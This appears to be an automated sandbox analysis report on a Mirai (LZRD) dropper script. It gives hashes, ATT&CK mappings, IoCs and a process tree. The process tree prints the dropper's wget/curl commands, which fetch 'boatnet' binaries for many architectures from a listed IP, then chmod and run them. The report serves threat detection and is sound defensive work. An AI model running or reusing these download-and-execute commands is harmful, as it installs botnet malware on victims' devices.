mirai | 21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6

Analysis

max time kernel
148s
max time network
147s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
17-01-2025 06:15

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General

Target

ohshit.sh
Size

2KB
MD5

95a4c9ceeaff1ba0b6b54a2ca6657d9b
SHA1

3d204079c491b73eb2e8000ad770bfb538f3bb79
SHA256

21108cd356037b6622cfe4306a50ef020eea3b1bf569af187e8b50f4f92ddbd6
SHA512

227a981ea250c3f5f7db4eca15456302c014893198d403001ee38f321ed7893c48d6ff50768fceefbdb6cb9592dd4192b31ed22baf4c96652fb527c1c1700f6b

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1627	chmod
1507	chmod
1539	chmod
1547	chmod
1569	chmod
1611	chmod
1635	chmod
1531	chmod
1555	chmod
1583	chmod
1593	chmod
1515	chmod
1523	chmod
1643	chmod
1651	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1508	WTF
/tmp/WTF	1516	WTF
/tmp/WTF	1524	WTF
/tmp/WTF	1532	WTF
/tmp/WTF	1540	WTF
/tmp/WTF	1548	WTF
/tmp/WTF	1556	WTF
/tmp/WTF	1570	WTF
/tmp/WTF	1584	WTF
/tmp/WTF	1594	WTF
/tmp/WTF	1614	WTF
/tmp/WTF	1628	WTF
/tmp/WTF	1636	WTF
/tmp/WTF	1644	WTF
/tmp/WTF	1652	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Unexpected DNS network traffic destination 15 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159
Destination IP	98.193.131.159

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1706/cmdline	WTF
File opened for reading	/proc/1282/cmdline	WTF
File opened for reading	/proc/1250/cmdline	WTF
File opened for reading	/proc/1519/cmdline	WTF
File opened for reading	/proc/1372/cmdline	WTF
File opened for reading	/proc/1123/cmdline	WTF
File opened for reading	/proc/1127/cmdline	WTF
File opened for reading	/proc/1132/cmdline	WTF
File opened for reading	/proc/430/cmdline	WTF
File opened for reading	/proc/516/cmdline	WTF
File opened for reading	/proc/1038/cmdline	WTF
File opened for reading	/proc/1038/cmdline	WTF
File opened for reading	/proc/1038/cmdline	WTF
File opened for reading	/proc/1008/cmdline	WTF
File opened for reading	/proc/1173/cmdline	WTF
File opened for reading	/proc/1615/cmdline	WTF
File opened for reading	/proc/1176/cmdline	WTF
File opened for reading	/proc/662/cmdline	WTF
File opened for reading	/proc/1372/cmdline	WTF
File opened for reading	/proc/629/cmdline	WTF
File opened for reading	/proc/1597/cmdline	WTF
File opened for reading	/proc/1639/cmdline	WTF
File opened for reading	/proc/1280/cmdline	WTF
File opened for reading	/proc/1218/cmdline	WTF
File opened for reading	/proc/1718/cmdline	WTF
File opened for reading	/proc/660/cmdline	WTF
File opened for reading	/proc/1132/cmdline	WTF
File opened for reading	/proc/1106/cmdline	WTF
File opened for reading	/proc/629/cmdline	WTF
File opened for reading	/proc/516/cmdline	WTF
File opened for reading	/proc/1637/cmdline	WTF
File opened for reading	/proc/649/cmdline	WTF
File opened for reading	/proc/1151/cmdline	WTF
File opened for reading	/proc/662/cmdline	WTF
File opened for reading	/proc/1712/cmdline	WTF
File opened for reading	/proc/1492/cmdline	WTF
File opened for reading	/proc/1160/cmdline	WTF
File opened for reading	/proc/1680/cmdline	WTF
File opened for reading	/proc/485/cmdline	WTF
File opened for reading	/proc/1645/cmdline	WTF
File opened for reading	/proc/1282/cmdline	WTF
File opened for reading	/proc/1058/cmdline	WTF
File opened for reading	/proc/1645/cmdline	WTF
File opened for reading	/proc/1492/cmdline	WTF
File opened for reading	/proc/1173/cmdline	WTF
File opened for reading	/proc/1541/cmdline	WTF
File opened for reading	/proc/1684/cmdline	WTF
File opened for reading	/proc/1666/cmdline	WTF
File opened for reading	/proc/404/cmdline	WTF
File opened for reading	/proc/596/cmdline	WTF
File opened for reading	/proc/1677/cmdline	WTF
File opened for reading	/proc/1183/cmdline	WTF
File opened for reading	/proc/1165/cmdline	WTF
File opened for reading	/proc/649/cmdline	WTF
File opened for reading	/proc/1535/cmdline	WTF
File opened for reading	/proc/430/cmdline	WTF
File opened for reading	/proc/1595/cmdline	WTF
File opened for reading	/proc/1151/cmdline	WTF
File opened for reading	/proc/1559/cmdline	WTF
File opened for reading	/proc/1140/cmdline	WTF
File opened for reading	/proc/1038/cmdline	WTF
File opened for reading	/proc/1719/cmdline	WTF
File opened for reading	/proc/1075/cmdline	WTF
File opened for reading	/proc/1051/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1512	wget
1513	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.m68k	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1492
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1493
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1506
- /bin/chmod
  chmod +x boatnet.x86 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1507
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1508
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1512
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1516
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1520
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1524
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.i468
  2⤵
  PID:1528
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1532
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.i686
  2⤵
  PID:1536
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1540
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.x86_64
  2⤵
  PID:1544
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1545
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1548
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1552
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1556
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1560
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1563
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-ueDaTz systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1569
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1570
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1574
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1577
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-EY1lnD systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1583
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1584
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1588
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1589
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1593
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1594
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1598
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1605
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-SVLaFa systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1611
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1614
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1618
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1623
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1627
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1628
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1632
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1633
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1635
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1636
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1640
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1641
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1643
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1644
- /usr/bin/wget
  wget http://107.172.51.228/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1648
- /usr/bin/curl
  curl -O http://107.172.51.228/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1649
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-riqIjM netplan_f9q45fhs ohshit.sh snap-private-tmp ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-GTi1t2 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1651
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
20KB

MD5
313c4b235e0e62ca38eb04bfa7677e44

SHA1
c31d5d0c0fa4bfa4ea2837cede424504c68ccfd3

SHA256
dfd6f81327b03f5336895c6bed7bfff178a054eafef5637ccb74e7a0ac4ef4c4

SHA512
0bf52b087e48b6daac55f735ae5b5af7626322db3200e72c61755d6b80234c503a02f3e35b340b70d1731fdec2054f530251504dec55497ca5877f9233ff54ad

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